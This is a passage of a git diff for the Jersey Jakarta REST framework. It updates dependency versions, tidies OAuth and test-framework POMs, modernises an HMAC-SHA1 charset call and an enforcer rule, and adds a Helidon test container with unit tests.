         <jakarta.rest.osgi.version>jakarta.ws.rs;version="[3.1,5)",jakarta.ws.rs.client;version="[3.1,5)",jakarta.ws.rs.container;version="[3.1,5)",jakarta.ws.rs.core;version="[3.1,5)",jakarta.ws.rs.ext;version="[3.1,5)",jakarta.ws.rs.sse;version="[3.1,5)"</jakarta.rest.osgi.version>
         <jetty.osgi.version>org.eclipse.jetty.*;version="[11,15)"</jetty.osgi.version>
-        <jetty.version>12.0.14</jetty.version>
-        <jetty9.version>9.4.56.v20240826</jetty9.version>
+        <jetty.version>12.0.22</jetty.version>
+        <jetty9.version>9.4.57.v20241219</jetty9.version>
         <jetty.servlet.api.version>5.0.2</jetty.servlet.api.version>
-        <jetty11.version>11.0.24</jetty11.version>
-        <jetty.plugin.version>12.0.8</jetty.plugin.version>
+        <jetty11.version>11.0.25</jetty11.version>
+        <jetty.plugin.version>12.0.22</jetty.plugin.version>
         <jsonb.api.version>3.0.1</jsonb.api.version>
         <jsonp.ri.version>1.1.7</jsonp.ri.version>
         <jsonp.jaxrs.version>1.1.7</jsonp.jaxrs.version>
-        <moxy.version>5.0.0-B02</moxy.version>
-        <moxy.asm.version>9.7.1</moxy.asm.version>
+        <moxy.version>5.0.0-B09</moxy.version>
+        <moxy.asm.version>9.8.0</moxy.asm.version>
         <yasson.version>3.0.4</yasson.version>
         <!-- END of Jakartified -->
 
diff --git a/security/oauth1-server/pom.xml b/security/oauth1-server/pom.xml
index 70ba79d..6ad7be9 100644
--- a/security/oauth1-server/pom.xml
+++ b/security/oauth1-server/pom.xml
@@ -27,6 +27,7 @@
 
     <artifactId>oauth1-server</artifactId>
     <packaging>jar</packaging>
+    <name>jersey-oauth1-server</name>
 
     <description>
         Module that adds an OAuth 1 support to Jersey server
diff --git a/security/oauth1-signature/pom.xml b/security/oauth1-signature/pom.xml
index ca4d2a5..600d813 100644
--- a/security/oauth1-signature/pom.xml
+++ b/security/oauth1-signature/pom.xml
@@ -26,6 +26,7 @@
     <modelVersion>4.0.0</modelVersion>
 
     <artifactId>oauth1-signature</artifactId>
+    <name>jersey-oauth1-signature</name>
     <packaging>jar</packaging>
 
     <description>OAuth1 signature module</description>
diff --git a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java
index ee770cd..0809552 100644
--- a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java
+++ b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.oauth1.signature;
 
-import java.io.UnsupportedEncodingException;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
 
@@ -25,6 +24,8 @@
 
 import org.glassfish.jersey.uri.UriComponent;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 
 /**
  * An OAuth signature method that implements HMAC-SHA1.
@@ -78,11 +79,7 @@
 
         byte[] key;
 
-        try {
-            key = buf.toString().getBytes("UTF-8");
-        } catch (UnsupportedEncodingException uee) {
-            throw new IllegalStateException(uee);
-        }
+        key = buf.toString().getBytes(UTF_8);
 
         SecretKeySpec spec = new SecretKeySpec(key, SIGNATURE_ALGORITHM);
 
diff --git a/security/oauth2-client/pom.xml b/security/oauth2-client/pom.xml
index fa30d72..d7fd082 100644
--- a/security/oauth2-client/pom.xml
+++ b/security/oauth2-client/pom.xml
@@ -26,6 +26,7 @@
     <modelVersion>4.0.0</modelVersion>
 
     <artifactId>oauth2-client</artifactId>
+    <name>jersey-oauth2-client</name>
 
     <description>
         Module that adds an OAuth 2 support to Jersey client
@@ -47,18 +48,6 @@
 
 
     <dependencies>
-<!--        <dependency>-->
-<!--            <groupId>org.glassfish.jersey.media</groupId>-->
-<!--            <artifactId>jersey-media-json-jackson</artifactId>-->
-<!--            <version>${project.version}</version>-->
-<!--        </dependency>-->
-
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-json-binding</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-
         <dependency>
             <groupId>org.glassfish.jersey.core</groupId>
             <artifactId>jersey-client</artifactId>
@@ -70,11 +59,6 @@
                 </exclusion>
             </exclusions>
         </dependency>
-
-        <!--<dependency>-->
-            <!--<groupId>jakarta.ws.rs</groupId>-->
-            <!--<artifactId>jakarta.ws.rs-api</artifactId>-->
-        <!--</dependency>-->
     </dependencies>
 
 
diff --git a/test-framework/core/pom.xml b/test-framework/core/pom.xml
index fc74385..63caaad 100644
--- a/test-framework/core/pom.xml
+++ b/test-framework/core/pom.xml
@@ -57,7 +57,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
             <version>${project.version}</version>
         </dependency>
         <dependency>
diff --git a/test-framework/core/src/main/java/module-info.java b/test-framework/core/src/main/java/module-info.java
index c355860..a7e32ab 100644
--- a/test-framework/core/src/main/java/module-info.java
+++ b/test-framework/core/src/main/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.client;
     requires org.glassfish.jersey.core.server;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
 
 
     requires static junit;
diff --git a/test-framework/maven/container-runner-maven-plugin/pom.xml b/test-framework/maven/container-runner-maven-plugin/pom.xml
index 1dab9c0..1376c78 100644
--- a/test-framework/maven/container-runner-maven-plugin/pom.xml
+++ b/test-framework/maven/container-runner-maven-plugin/pom.xml
@@ -168,10 +168,10 @@
                     <groupId>org.codehaus.plexus</groupId>
                     <artifactId>plexus-archiver</artifactId>
                 </exclusion>
-                <exclusion>
+                <!--<exclusion>
                     <groupId>commons-io</groupId>
                     <artifactId>commons-io</artifactId>
-                </exclusion>
+                </exclusion>-->
                 <exclusion>
                     <groupId>org.junit.jupiter</groupId>
                     <artifactId>junit-jupiter-api</artifactId>
diff --git a/test-framework/maven/custom-enforcer-rules/pom.xml b/test-framework/maven/custom-enforcer-rules/pom.xml
index 300de6c..aed6ccc 100644
--- a/test-framework/maven/custom-enforcer-rules/pom.xml
+++ b/test-framework/maven/custom-enforcer-rules/pom.xml
@@ -49,14 +49,14 @@
                     <artifactId>plexus-utils</artifactId>
                 </exclusion>
                 <exclusion>
-                    <groupId>commons-io</groupId>
-                    <artifactId>commons-io</artifactId>
-                </exclusion>
-                <exclusion>
                     <groupId>commons-codec</groupId>
                     <artifactId>commons-codec</artifactId>
                 </exclusion>
                 <exclusion>
+                    <groupId>commons-io</groupId>
+                    <artifactId>commons-io</artifactId>
+                </exclusion>
+                <exclusion>
                     <groupId>org.apache.maven</groupId>
                     <artifactId>maven-core</artifactId>
                 </exclusion>
@@ -68,12 +68,6 @@
         </dependency>
 
         <dependency>
-            <groupId>commons-io</groupId>
-            <artifactId>commons-io</artifactId>
-            <version>${commons.io.version}</version>
-        </dependency>
-
-        <dependency>
             <groupId>org.junit.jupiter</groupId>
             <artifactId>junit-jupiter</artifactId>
             <scope>compile</scope>
diff --git a/test-framework/maven/custom-enforcer-rules/src/main/java/org/glassfish/jersey/test/maven/rule/FilePatternDoesNotExistRule.java b/test-framework/maven/custom-enforcer-rules/src/main/java/org/glassfish/jersey/test/maven/rule/FilePatternDoesNotExistRule.java
index f9c8fde..ee275ba 100644
--- a/test-framework/maven/custom-enforcer-rules/src/main/java/org/glassfish/jersey/test/maven/rule/FilePatternDoesNotExistRule.java
+++ b/test-framework/maven/custom-enforcer-rules/src/main/java/org/glassfish/jersey/test/maven/rule/FilePatternDoesNotExistRule.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,17 +17,19 @@
 package org.glassfish.jersey.test.maven.rule;
 
 import java.io.File;
-import java.io.FileFilter;
+import java.io.IOException;
+import java.nio.file.DirectoryStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
 import java.util.Arrays;
 import java.util.Set;
 import java.util.TreeSet;
 
-import org.apache.commons.io.filefilter.WildcardFileFilter;
 import org.apache.maven.enforcer.rule.api.EnforcerRuleException;
 import org.apache.maven.enforcer.rules.AbstractStandardEnforcerRule;
 
 /**
- * Maven enforcer rule to enforce that given set of files does not exist.<br/>
+ * Maven enforcer rule to enforce that a given set of files does not exist.<br/>
  * This rule is similar to apache {@code requireFilesDontExist} with a support for wildcards.
  *
  * @author Stepan Vavra
@@ -55,8 +57,13 @@
             }
 
             final Set<File> matchedFiles = new TreeSet<>();
-            for (File matchedFile : dir.listFiles((FileFilter) new WildcardFileFilter(fileItselfPattern))) {
-                matchedFiles.add(matchedFile);
+            try {
+                final DirectoryStream<Path> directoryStream
+                        = Files.newDirectoryStream(dir.toPath(), fileItselfPattern);
+                directoryStream.forEach(path -> matchedFiles.add(path.toFile()));
+                directoryStream.close();
+            } catch (IOException e) {
+                throw new EnforcerRuleException(e);
             }
 
             if (!matchedFiles.isEmpty()) {
diff --git a/test-framework/providers/grizzly2/src/test/java/module-info.java b/test-framework/providers/grizzly2/src/test/java/module-info.java
index e0f1309..b201975 100644
--- a/test-framework/providers/grizzly2/src/test/java/module-info.java
+++ b/test-framework/providers/grizzly2/src/test/java/module-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,7 +31,7 @@
     requires org.glassfish.jersey.core.server;
     requires org.glassfish.jersey.container.grizzly2.http;
     requires org.glassfish.jersey.container.grizzly2.servlet;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
 
     exports org.glassfish.jersey.test.grizzly;
     exports org.glassfish.jersey.test.grizzly.pckg;
diff --git a/test-framework/providers/helidon-http/pom.xml b/test-framework/providers/helidon-http/pom.xml
new file mode 100644
index 0000000..72fc69b
--- /dev/null
+++ b/test-framework/providers/helidon-http/pom.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+        <artifactId>project</artifactId>
+        <version>4.0.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-test-framework-provider-helidon</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-test-framework-provider-helidon</name>
+
+    <description>Jersey Test Framework - Helidon (4.x) container</description>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-helidon-http</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+    </dependencies>
+
+</project>
diff --git a/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java
new file mode 100644
index 0000000..b3d0e98
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import io.helidon.webserver.WebServer;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.helidon.HelidonHttpContainerBuilder;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+public class HelidonTestContainerFactory implements TestContainerFactory {
+
+    private static class HelidonTestContainer implements TestContainer {
+
+        private static final Logger LOGGER = Logger.getLogger(HelidonTestContainer.class.getName());
+
+        private URI baseUri;
+
+        private final WebServer server;
+
+        private HelidonTestContainer(final URI baseUri, final DeploymentContext context) {
+            this.baseUri = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+            if (LOGGER.isLoggable(Level.INFO)) {
+                LOGGER.info("Creating HelidonTestContainer configured at the base URI "
+                        + TestHelper.zeroPortToAvailablePort(baseUri));
+            }
+
+            final HelidonHttpContainerBuilder builder = HelidonHttpContainerBuilder.builder()
+                    .application(context.getResourceConfig())
+                    .uri(this.baseUri);
+            if (context.getSslContext().isPresent() && context.getSslParameters().isPresent()) {
+                builder.sslParameters(context.getSslParameters().get());
+                builder.sslContext(context.getSslContext().get());
+            }
+            this.server = builder.build();
+
+        }
+
+        @Override
+        public ClientConfig getClientConfig() {
+            return null;
+        }
+
+        @Override
+        public URI getBaseUri() {
+            return baseUri;
+        }
+
+        @Override
+        public void start() {
+            if (!server.isRunning()) {
+                server.start();
+            }
+        }
+
+        @Override
+        public void stop() {
+            if (server.isRunning()) {
+                server.stop();
+            }
+        }
+    }
+    @Override
+    public TestContainer create(URI baseUri, DeploymentContext deploymentContext) {
+        return new HelidonTestContainer(baseUri, deploymentContext);
+    }
+}
diff --git a/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java
new file mode 100644
index 0000000..98f2502
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java
@@ -0,0 +1,22 @@
+/*
+ *  Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ *  This program and the accompanying materials are made available under the
+ *  terms of the Eclipse Public License v. 2.0, which is available at
+ *  http://www.eclipse.org/legal/epl-2.0.
+ *
+ *  This Source Code may also be made available under the following Secondary
+ *  Licenses when the conditions for such availability set forth in the
+ *  Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ *  version 2 with the GNU Classpath Exception, which is available at
+ *  https://www.gnu.org/software/classpath/license.html.
+ *
+ *  SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ *
+ */
+
+/**
+ * Test Framework Jersey container provider based on Helidon 4.x.
+ */
+
+package org.glassfish.jersey.test.helidon;
\ No newline at end of file
diff --git a/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
new file mode 100644
index 0000000..375a254
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -0,0 +1 @@
+org.glassfish.jersey.test.helidon.HelidonTestContainerFactory
diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java
new file mode 100644
index 0000000..fc4126f
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.TestProperties;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.not;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Tests finding an available port for container.
+ *
+ * @author Michal Gajdos
+ */
+public class AvailablePortHelidonTest extends JerseyTest {
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() {
+        return new HelidonTestContainerFactory();
+    }
+
+    @Path("AvailablePortHelidonTest")
+    public static class TestResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+    }
+
+    @Override
+    protected DeploymentContext configureDeployment() {
+        forceSet(TestProperties.CONTAINER_PORT, "-1"); //Default not defined port in Helidon is -1
+
+        return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
+    }
+
+    @Test
+    public void testGet() {
+        assertThat(target().getUri().getPort(), not(0));
+        assertThat(getBaseUri().getPort(), not(0));
+
+        assertThat(target("AvailablePortHelidonTest").request().get(String.class), equalTo("GET"));
+    }
+}
diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java
new file mode 100644
index 0000000..df6a794
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+public class BaseUriTest extends JerseyTest {
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() {
+        return new HelidonTestContainerFactory();
+    }
+
+    @Path("root")
+    public static class TestResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @Path("sub")
+        @GET
+        public String getSub() {
+            return "sub";
+        }
+    }
+
+    @Override
+    protected DeploymentContext configureDeployment() {
+        return DeploymentContext.builder(new ResourceConfig(TestResource.class))
+                .contextPath("context1/context2")
+                .build();
+    }
+
+    @Test
+    public void testGet() {
+        final WebTarget target = target("root");
+
+        final String s = target.request().get(String.class);
+        Assertions.assertEquals("GET", s);
+    }
+
+    @Test
+    public void testGetSub() {
+        final WebTarget target = target("root/sub");
+
+        final String s = target.request().get(String.class);
+        Assertions.assertEquals("sub", s);
+    }
+
+}
diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java
new file mode 100644
index 0000000..3b1c2fd
--- /dev/null
+++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.helidon;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.hk2.api.ServiceLocator;
+import org.glassfish.jersey.helidon.HelidonHttpContainer;
+import org.glassfish.jersey.helidon.HelidonHttpContainerBuilder;
+import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
+import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+import org.jvnet.hk2.internal.ServiceLocatorImpl;
+
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Test class for {@link HelidonHttpContainer}.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm org)
+ * @author Miroslav Fuksa
+ */
+public class HelidonContainerTest extends JerseyTest {
+
+    /**
+     * Creates new instance.
+     */
+    public HelidonContainerTest() {
+        super(new HelidonTestContainerFactory());
+    }
+
+    @Override
+    protected ResourceConfig configure() {
+        return new ResourceConfig(Resource.class);
+    }
+
+    /**
+     * Test resource class.
+     */
+    @Path("one")
+    public static class Resource {
+
+        /**
+         * Test resource method.
+         *
+         * @return Test simple string response.
+         */
+        @GET
+        public String getSomething() {
+            return "get";
+        }
+    }
+
+    @Test
+    /**
+     * Test {@link Server Helidon Server} container.
+     */
+    public void testHelidonContainerTarget() {
+        final Response response = target().path("one").request().get();
+
+        assertEquals(200, response.getStatus(), "Response status unexpected.");
+        assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
+    }
+
+    /**
+     * Test that defined ServiceLocator becomes a parent of the newly created service locator.
+     */
+    @Test
+    public void testParentServiceLocator() {
+        final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+        final HelidonHttpContainer container = HelidonHttpContainerBuilder.builder().uri(URI.create("http://localhost:9876"))
+                .application(new ResourceConfig(Resource.class)).parentContext(locator).build();
+        InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager();
+
+        ServiceLocator serviceLocator;
+        if (injectionManager instanceof ImmediateHk2InjectionManager) {
+            serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator();
+        } else if (injectionManager instanceof DelayedHk2InjectionManager) {
+            serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator();
+        } else {
+            throw new RuntimeException("Invalid Hk2 InjectionManager");
+        }
+        assertTrue(serviceLocator.getParent() == locator,
+                   "Application injection manager was expected to have defined parent locator");
+    }
+}
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml
index 1c5b748..0f6a8dd 100644
--- a/test-framework/providers/pom.xml
+++ b/test-framework/providers/pom.xml
@@ -43,4 +43,15 @@
         <module>jetty-http2</module>
         <module>netty</module>
     </modules>
+    <profiles>
+        <profile>
+            <id>helidon-container</id>
+            <activation>
+                <jdk>[21,)</jdk>
+            </activation>
+            <modules>
+                <module>helidon-http</module>
+            </modules>
+        </profile>
+    </profiles>
 </project>
diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml
index a33c5ee..8fb4953 100644
--- a/tests/e2e-client/pom.xml
+++ b/tests/e2e-client/pom.xml
@@ -199,6 +199,19 @@
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-binding</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
 
         <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
@@ -222,11 +235,6 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>commons-io</groupId>
-            <artifactId>commons-io</artifactId>
-            <version>${commons.io.version}</version>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-jetty-connector</artifactId>
             <scope>test</scope>
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/JerseyClientRuntimeTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/JerseyClientRuntimeTest.java
new file mode 100644
index 0000000..32ecfce
--- /dev/null
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/JerseyClientRuntimeTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.client;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import java.io.IOException;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class JerseyClientRuntimeTest {
+
+    private static int COUNT = 10;
+    private List<WeakReference<Object>> list = new ArrayList<>();
+    private ReferenceQueue queue = new ReferenceQueue();
+
+    @Test
+    public void testClientRuntimeInstancesAreGCed() throws InterruptedException {
+        Client c = ClientBuilder.newClient();
+        c.register(new ClientRequestFilter() {
+            @Override
+            public void filter(ClientRequestContext requestContext) throws IOException {
+                requestContext.abortWith(Response
+                                .ok("<myDTO xmlns=\"http://org.example.dtos\"/>")
+                                .type(MediaType.APPLICATION_XML_TYPE)
+                        .build());
+            }
+        });
+
+        WebTarget target = c.target("http://localhost/nowhere");
+        for (int i = 0; i != COUNT; i++) {
+            target = target.property("SOME", "PROPERTY");
+            ClientConfig config = (ClientConfig) target.getConfiguration();
+            Object clientRuntime = getClientRuntime(config);
+            addToList(clientRuntime);
+            try (Response response = target.request().get()) {
+                MatcherAssert.assertThat(response.getStatus(), Matchers.is(200));
